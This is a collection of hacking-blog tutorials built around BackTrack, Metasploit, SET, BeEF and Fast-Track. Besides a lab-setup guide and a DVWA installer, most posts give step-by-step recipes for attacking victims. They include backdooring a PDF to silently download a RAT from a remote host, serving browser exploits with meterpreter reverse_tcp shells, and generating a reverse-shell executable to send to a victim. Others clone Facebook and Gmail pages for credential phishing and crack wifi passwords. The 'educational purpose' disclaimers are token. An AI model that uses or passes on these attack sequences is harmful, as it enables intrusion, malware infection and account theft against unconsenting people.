[TUT]Creating a penetration lab in windows

In last few posts i have tell u about the hacking windows using backtrack, but in all the posts i was not exploiting the real victims, i was just hacking my own OS installed on my system means i had created a penetration lab.

Whats a Penetration Lab consist of-->

1. Attacker OS(you may use backtrack,Backbox)

2. Victim OS(Win Xp or any other win)

Now i am gonna tell you how to create your own penetration lab by just following few steps.

Things you will need ---->

1. Virtual Box. Download it from here.

2. Bootable DVD of attacker or victim OS to installs OS's.

3. Brain.

Lets start------>

1. Install Virtual Box.

2. Now create two virtual machines name first as attacker and second as victim.Like i created in pic given below.

3. After creating both virtual machines install respective operating system in it. Like I am gonna install Backtrack as attacker OS and win xp as victim OS.

4. Now after installing all OS's the thing you have to do is creating network connection for both OS's for that you have to follow a simple procedure.

5. Right Click on any virtual machine from list and click settings and click on Network tab in left side and you will get network tab like I get in image.

6. As you see in image in Adaptor 1 tab Attached to is selected to NAT. Just change it to Host-Only Adaptor and click Ok like i do in image given below.

7. Do same as in step 6 for second OS.

Now you may start doing your exploitation work.

Note-->

Must keep same settings that i kept in step 6.

Plz comment if feel any query about this tutorial.

[Video]Hacking a win 7 using SET

Many of my friends were asking for the ways to hack a computer. After all the requests I made a video for all my friends and other cyber users.

What this video is about--->

In this video i will show you how to hack windows 7 using browser autopawn exploit of internet explorer.
This method works in all windows.

Things you will need ---->

1. Backtrack OS.

2. Victim. (use virtual machines)

3. Brain

So here is the video given below.
Watch it and do exactly what i do in video.
Comment, Share ,Like

[TUT]Backdooring a pdf ebook with metasploit

Hey friends this is D@rk TruTH. As we all use RAT, Botnets but the things went wrong when our rats and bots get detected by antiviruses. But today i am gonna show you how to backdoor a pdf ebook. 

Yes a pdf ebook.

Concept behind this--->

Victim will open our pdf file but in background it will download our rat and bot silently and will infect the victim.  

Things you need----->

1. A pdf book (use any book)

2. Metasploit(use backtrack OS)

3. Your Rat or bot hosted at any file sharing site(Make sure you use direct link like www.filesharing.com/server.exe)

Now Lets start this---->

1. Open up Metasploit console

2. Type this in the console:use exploit/windows/fileformat/adobe_pdf_embedded_exe

3. Type this in the console:

set payload windows/download_exec

4. Type this in console:set INFILENAME <location of your pdf to infect here>

EXAMPLE: set INFILENAME /root/mypdf.pdf

5. Type this in console:

set url <direct download link to your fud server>
EXAMPLE: set url http://download.com/server.exe

6. Type this in console:Exploit

Now you will get infected pdf in root folder just send ur pdf file to victim and when he open the pdf file he/she will able to read pdf but in background pdf file will download our rat and bot in victim computer.

Note:

1. Use direct link for your rat.

2. Use a good pdf file so as victim try to open it.

Hacking windows 7 using metasploit

Hey friends this D@rk TruTH. Today i am gonna show how to exploit windows xp and 7 using metasploit. Lets Start...

Things you will need ---->

1. Backtrack OS or Metsaploit.

2. A victim

3. Brain(important thing lol)

Lets start the shit ---->

1. Open terminal, type msfconsole and hit enter. Metsaploit will open like in image.

2. Now type use exploit/multi/browser/java_signed_applet and hit enter.

3. Type set payload windows/meterpreter/reverse_tcp and hit enter.

4. Type set lhost 223.185.18.74 (must change 223.185.18.74 with your ip address)

5. Now type set lport 443 and hit enter.

6. Now type set srvport 80 and hit enter.

7. Now type set uripath cybersucks and hit enter.(you may change cybersucks to your disired one)

8. At last type exploit and hit enter. See image below

9. Now send http://youripaddress:80/cybersucks to your victim.

10. Now when victim will open it he/she will be hacked.

11. Now see hacked sessions by typing sessions -l 

Hacking a Web-browser with beef

Browser Explotation Framework is mainly used to exploit a Web-browser.When i was trying it I play a varied types of pranks with victim browser like making open a pop-up window,playing a sound,stealing cookie etc. So lets start hacking.
Follow all the steps according to my post ======>


1. First install beef by clicking on Applications->Backtrack–>Exploitation Tools->Social Engineering Tools->BEEF XSS Framework->BeEF Installer.


2. Now when beef installs open beef by going to same directory like in 1st step then click on beef and beef will start connecting.

3. Now copy the open the url written in front of hook url like in image.

4. After opening the link u will see a login page just put username beef and password beef to login.


5. Now a window will open showing you beef control pannel,now the main explotation will start.


6. Now send this link  http://127.0.0.1:3000/demos/basic.html to victim.

7. Once victim will open you will be contected to his computer through his browser and you will see connected browsers at top left bottom under the Online browser tab like in image.


8. Click on any online browser in online browser tab and you will get a page with a full information of browser.

9. Then click on Commands tab to start open various exploits and tools.


10. Now use any of commands to making pranks with the victim.


Note;---> its for educational purpose only.
While doing all this dont close the terminal that will open as opening of beef.

Mega Tutorial : Hacking a remote windows 7 using metasploit

Hey friends I am back with a blasting post on hacking windows.So, I will give you a little introduction about this post. In this post i am gonna hack or control a remote windows 7,xp using metasploit.So let we start hacking.
Follow all steps according to this post ======>
1. Open metasploit in windows or in backtrack.

2. After opening this just type this code  use exploit/windows/browser/ms11_050_mshtml_cobjectelement.

3. Now type set payload windows/meterpreter/reverse_tcp

4. Now type set  lhost  192.168.1.2  in place of 192.168.1.2 type your ip address.

5. Now type set srvhost 192.168.1.2  in place of 192.168.1.2 type your ip address.

6. Now type set uripath adityahackingarticles.

7. Now type exploit.

9. Now a server will be created on ur ip and send the link http://uripaddress/adityahackingarticles send this link to your victim.

10. Now when your victim open ur link he will be hacked and then type sessions -l to start exploiting the victim.

Note : For only Education

Installing DAMN Vulnerable app on backtrack

Every one has heard about the DAMN Vulnerable web app. Today i gona tell you about installing it on backtrack. As you all know DAMN vul. app requires xammp,mysql and other softwares but these softwares are pre installed in backtrack.So, do all the steps according to this post:----->

1. Open any text editor .

2. After opening this just paste this code in it =====>

#/bin/bashecho -e "\n#######################################"echo -e "# Damn Vulnerable Web App Installer Script #"echo -e "#######################################"echo " Coded By: Travis Phillips"echo " Website: http://theunl33t.blogspot.com"echo -e -n "\n[*] Changing directory to /var/www..."cd /var/www > /dev/nullecho -e "Done!\n"

echo -n "[*] Removing default index.html..."rm index.html > /dev/nullecho -e "Done!\n"

echo -n "[*] Changing to Temp Directory..."cd /tmpecho -e "Done!\n"

echo "[*] Downloading DVWA..."wget http://voxel.dl.sourceforge.net/project/dvwa/DVWA-1.0.7.zipecho -e "Done!\n"

echo -n "[*] Unzipping DVWA..."unzip DVWA-1.0.7.zip > /dev/nullecho -e "Done!\n"

echo -n "[*] Deleting the zip file..."rm DVWA-1.0.7.zip > /dev/nullecho -e "Done!\n"

echo -n "[*] Copying dvwa to root of Web Directory..."cp -R dvwa/* /var/www > /dev/nullecho -e "Done!\n"

echo -n "[*] Clearing Temp Directory..."rm -R dvwa > /dev/nullecho -e "Done!\n"

echo -n "[*] Enabling Remote include in php.ini..."cp /etc/php5/apache2/php.ini /etc/php5/apache2/php.ini1sed -e 's/allow_url_include = Off/allow_url_include = On/' /etc/php5/apache2/php.ini1 > /etc/php5/apache2/php.inirm /etc/php5/apache2/php.ini1echo -e "Done!\n"

echo -n "[*] Enabling write permissions to /var/www/hackable/upload..."chmod 777 /var/www/hackable/uploads/echo -e "Done!\n"

echo -n "[*] Starting Web Service..."service apache2 start &> /dev/nullecho -e "Done!\n"

echo -n "[*] Starting MySQL..."service mysql start &> /dev/nullecho -e "Done!\n"

echo -n "[*] Updating Config File..."cp /var/www/config/config.inc.php /var/www/config/config.inc.php1sed -e 's/'\'\''/'\''toor'\''/' /var/www/config/config.inc.php1 > /var/www/config/config.inc.phprm /var/www/config/config.inc.php1echo -e "Done!\n"

echo -n "[*] Updating Database..."wget --post-data "create_db=Create / Reset Database" http://127.0.0.1/setup.php &> /dev/nullmysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/gordonb.jpg" where user = "gordonb";'mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/smithy.jpg" where user = "smithy";'mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/admin.jpg" where user = "admin";'mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/pablo.jpg" where user = "pablo";'mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/1337.jpg" where user = "1337";'echo -e "Done!\n"

echo -e -n "[*] Starting Firefox to DVWA\nUserName: admin\nPassword: password"firefox http://127.0.0.1/login.php &> /dev/null &echo -e "\nDone!\n"echo -e "[\033[1;32m*\033[1;37m] DVWA Install Finished!\n"

3. Now save it cybersucks.sh and in root folder.
4. After doing this open terminal amd type this code sh cybersucks.sh and it will start installing DAMN.

Fern Wifi Cracker a GUI Wifi Cracker

Hey friends all of you know about the restrictions on Wifi that is password. In schools and colleges Wifi are protected through password but i have a good hack to crack a Wifi simply in two click. This software is only for linux. Just follow all the steps according to this post:------------------->
1. First download fern wifi cracker from here.
2. Now after downloading put the debian pack to file system.

3. After doing that open terminal and type this code dpkg -i Fern-Wifi-Cracker_1.2_all.deb.

4. Now open fern Wifi cracker from tab others and open this like in image.

5. Now click on Refresh and select an interface and the use any of two options given according to wifi encryption and select and then crack the wifi.

Note-----:> Its for only educational purpose.

Hacking a Computer using fastrack and backtrack

Hey friends i found a latest hack or way to hack into a computer which has a windows operating system.
Ok then lets start.Here are some requirments:-------->
1. Backtrack 
2. Ip address of victim.
3. Brain.
Now follow all the steps according to this post:--------------->
1. Open Fastrack by clicking on Applications-->Backtrack-->Exploitation tools-->Network exploitation tools-->Fast-Track-->fasttrack-interactive.

2. Now after opening fastrack select the option Payload generator by typing 8 and hitting enter.

3. Now after that type 1 to select Windows Shell Reverse_TCP and hit enter.

4. Now after that type 2 to select shikata_ga_nai and hit enter.

5. Now after that enter the ip address of victim and hit enter.
6. Now you have to scan ip address to get open ports refer to this article.

7. If you get any open ports then enter it like in image.
8. After that type 3 to select Executable and hit enter, this option will create a executable file in  directory filesystem-->pentest>exploit-->fasttrack-->payload.exe.
9. Now the send executable file to victim and when the victim open this file you will be connected to computer remotely. 


Note :--- Its for educational purpose

How to run Google Chrome in Backtrack

Hey Friends i am back, sorry for posting late. Everyone wants to run google chrome in backtrack but it cannot be run in root user, but i have a way just follow all the steps:------>
1. Download google chrome from here.
2. After downloading chrome open directory file system/usr/bin and then find for google chrome and the open the file with gedit text editor.

3. Now at the end just paste this "--user-data-dir" without qoutes like in image.

4. Now save the file and now it will open and start enjoying the internet 

Scanning for open ports of an ip address in backtrack 5 r2

Today I am gonna tell you how to scan for open ports of an ip address in backtrack 5 r2. Follow all the steps according to post:------------------->
1. First you have to find ip address of a website, to do this open terminal and type ping www.sitename.com and hit entre and here you will find the ip address.
2. Now you have the ip address and now you have to scan for ports.

Open terminal and type nmap and press entre and now type nmap -v -A ip address and hit enter in place of ip address type the ip address of website and hit enter. Now it will starts scanning the ports and it will tell you how many ports are open, like in  image.

Metasploit beginner guide

Metasploit a Penetration tool which is commanly used to hack remote computers. It is considered as best Penetration testing tools ever. Its consists of certain exploits and payloads which exploits a remote computer using exploits available in metsaploit.

In backtrack it comes pre installed if u want to run on windows, linux download from their official site.

How to hack facebook gmail accounts using Backtrack 5

Hello, friends i am back with a latest post on hacking facebook,gmail accounts using backtrack and social engineering kit.Things you needed are following:--->
1. Backtrack 5 R2
2. Internet connection
3. A brain
Now follow all my steps like i am showing in this post:----->

1. First open the social engineering kit using this command in cd /pentest/exploits/set and then press enter and then type ./set and hit enter like in image.

2. Now type 1 to select Social-Engineering Attacks and hit enter as in image.

3. Now type 2 to select Website Attack Vectors and hit enter as in image.

4. Now type 4 to select Tabnabbing Attack Method and hit enter.

5. Now type 2 to select Site Cloner and hit enter.

6. Now enter the site address whom which you want to create fake pages.

7. Now ti will start cloning the site.
8. Now send ur ip address as a link to victim.

9. Now when victim click on it he/she get the fake page and when he fill the details he will got hacked.
Note : its for educational purpose.

How to hack joomla blogs in backtrack 5

Here i am back with a new working hack to scan and exploit a joomla blog. Things you needed are following :--->
1.backtrack 5
2.Internet connection
3.And the most important a litte brain.
Here are following steps, please follow all the steps according to this post:------>
1. Click on Applications/Backtrack/Vulnerability assesment/Web Vulnerability assessment/CMS Vulnerability Identification/joomscan.

2.Now Joomla scanner console will open like in image.

3.Now console will open now type chmod 0777 joomscan.pl and hit enter.

4.Now type  ./joomscan.pl -u www.YourJoomlasite.com in this in place of YourJoomalasite.com type your desired joomala site and hit enter it will start scanning it .

Backtrack a new era of hacking

As we watch many movies in which hackers just type a code and any computer get hacked,for many peoples this is like a fake thing in real it happens.Backtrack is that operating system which based on Ubuntu linux operating system which contains many hacking tools and softwares pre installed.This OS contains various softwares like social engennering kit,metasploit,nmap wifi hacking tool etc.

Download backtrack from Here.